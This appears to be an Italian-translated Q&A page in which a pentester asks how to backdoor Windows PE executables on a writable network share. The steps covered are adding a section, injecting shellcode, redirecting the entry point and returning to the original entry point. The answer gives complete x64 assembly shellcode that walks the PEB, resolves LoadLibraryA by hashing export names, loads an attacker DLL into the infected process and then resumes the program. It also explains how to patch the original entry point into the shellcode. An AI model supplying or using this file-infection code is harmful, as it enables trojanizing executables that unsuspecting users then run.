backdooring PE file statico

3

Durante un pentest, ho trovato una condivisione di rete con molti binari (.exe) disponibili con diritti RW. Lo scopo di questa condivisione è mettere a disposizione degli utenti strumenti generici. Tuttavia, qualsiasi utente autenticato può modificarli e aggiungere un payload in esso. Voglio fornire una dimostrazione per mostrare la fattibilità di questo.

In sostanza, ciò che ho ottenuto finora si riduce a:

1: create a new section in the sections table,
2: add empty bytes at the end of the file, at address and size according to those in the new section definition,
3: put a shellcode at the first byte of the empty section added,
4: change EntryPoint to point to this first byte of the shellcode.

Quando eseguo questo, il mio carico utile viene avviato.

Ora, vorrei reindirizzare il flusso di esecuzione al precedente EntryPoint, per eseguire il programma reale. Ho pensato che un semplice jmp al EntryPoint originale sarebbe stato sufficiente. Infatti, il mio shellcode esegue, ma blocca l'esecuzione del processo (che è in effetti del tutto normale).

Ho pensato di avviare il mio shellcode in un thread separato. Ho bisogno che questo raggiunga l'indirizzo di funzioni come createThread. Non ho davvero idea di come farlo.

Inoltre, quando esco dalla mia sessione meterpreter, lo shellcode deve eseguire l'ultima istruzione jmp per raggiungere la sezione .text originale. Invece, termina semplicemente.

La mia conoscenza di ASM e shellcodeprogramming è piuttosto bassa: / Apprezzerei molto avere alcuni suggerimenti su doc che potrei aver perso l'esecuzione di questa demo. La furtività non sarà un problema in quanto il computer demo non avrà alcun AV. Molte grazie per l'aiuto!

    
posta chibollo 16.06.2017 - 11:02
fonte

1 risposta

1

Per fare praticamente tutto, a parte crash dell'eseguibile, il tuo shellcode richiede l'uso dell'API di Windows (CreateThread, LoadLibraryA ecc.). Questo può essere ottenuto implementando una funzione personalizzata GetProcAddress.

Per restituire l'esecuzione all'OEP (punto di ingresso originale) è possibile utilizzare CreateThread o "jmp" all'indirizzo. Affinché lo shellcode abbia accesso a questo indirizzo, deve essere codificato nel corpo del codice.

La prima istruzione nel codice shell in basso sposta da 00000000 a r15. Il tuo codice di infezione pe deve sovrascrivere i primi 6 byte dello shellcode con:

mov r15d, [entry_point]

Dove [entry_point] è l'OEP RVA.

Ho scritto un'intera risposta (è stata cancellata) un po 'di shellcode per te:

mov r15d, 00000000h        ;this is 0x41BF00000000

;align stack
and rsp, 0FFFFFFFFFFFFFFF0h

;code to get the base address of ntdll.dll
mov r8, gs:[60h]                ;PEB
mov r8, [r8+18h]                ;PEB->Ldr (_PEB_LDR_DATA)
lea r8, [r8+10h]                ;_PEB_LDR_DATA->InLoadOrderModuleList (LDR_DATA_TABLE_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)
mov r8, [r8]                    ;_LIST_ENTRY->Flink (_LIST_ENTRY)

;save the base address (kernel32)
mov r12, [r8+30h]

;setup loop
mov r8d, dword ptr[r12+3ch]     ;IMAGE_DOS_HEADER->e_lfanew (DWORD) (Offset to IMAGE_NT_HEADERS64)
lea r8, qword ptr[r8+r12+88h]   ;add DllBase to the e_lfanew offset + 88h
                                ;18h - IMAGE_NT_HEADERS64->OptionalHeader (IMAGE_OPTIONAL_HEADER64) 18h bytes
                                ;70h - skip entire IMAGE_OPTIONAL_HEADER64 structure
mov r8d, dword ptr[r8]
add r8, r12

mov r9d, dword ptr[r8d+18h]     ;IMAGE_EXPORT_DIRECTORY->NumberOfNames (DWORD)s

fl:                             ;function loop
    dec r9                      ;start at end of array
    mov r10d, dword ptr[r8+20h] ;IMAGE_EXPORT_DIRECTORY->AddressOfNames (DWORD)
    add r10, r12                ;add dll base
    lea rcx, [r10+4*r9]         ;AddressOfNames[i] - function string RVA (relative virtual address)
    mov ecx, [rcx]
    add rcx, r12                ;add dll base

    ;hash the funtion name

    mov rax, 5381d
    hl:                         ;hash loop
        mov rbx, rax
        shl rax, 5
        add rax, rbx
        xor al, [rcx]
        inc rcx
        ;check for null termination
        cmp byte ptr[rcx], 00h
    jne hl
    ;hash complete
    mov rbx, 00b9a3b50901ed9addh ;LoadLibraryA
    cmp rax, rbx
jne fl

xor rax, rax                    ;make this more efficient (lol not gonna happen)
mov r10d, dword ptr[r8+24h]     ;IMAGE_EXPORT_DIRECTORY->AddressOfNameOrdinals (DWORD)
add r10, r12                    ;you know this by know right?
mov ax, word ptr[r10+2*r9]      ;AddressOfNameOrdinals[2*r9] - (2*r9 = 2 bytes * function name counter) + AddressOfNameOrdinals (WORD)

mov r10d, dword ptr[r8+1ch]
add r10, r12
mov eax, dword ptr[r10+rax*4]   ;AddressOfFunctions[4*r9] - (4*r9 = 4 bytes * function ordinal) + AddressOfFunctions (DWORD)
add rax, r12

lea rcx, [dll_name]
sub rsp, 20h
call rax
add rsp, 20h

;jump to the OEP
jmp r15

dll_name db "dingbong.dll", 0

Breakdown:

  1. Lo shellcode accede al registro gs per recuperare un puntatore a Process Environment Block (PEB)
  2. Il PEB viene utilizzato per trovare l'indirizzo di base di kernel32.dll
  3. Ogni nome di funzione esportato da kernel32.dll viene sottoposto a hash e confrontato con una "LoadLibraryA" pre-cancellata.
  4. L'indirizzo della funzione LoadLibraryA viene recuperato analizzando la tabella di esportazione
  5. "dingbong.dll" viene caricato dal processo infetto

Link utili:

link - tabella di esportazione

link - pe format

    
risposta data 19.06.2017 - 22:36
fonte

Leggi altre domande sui tag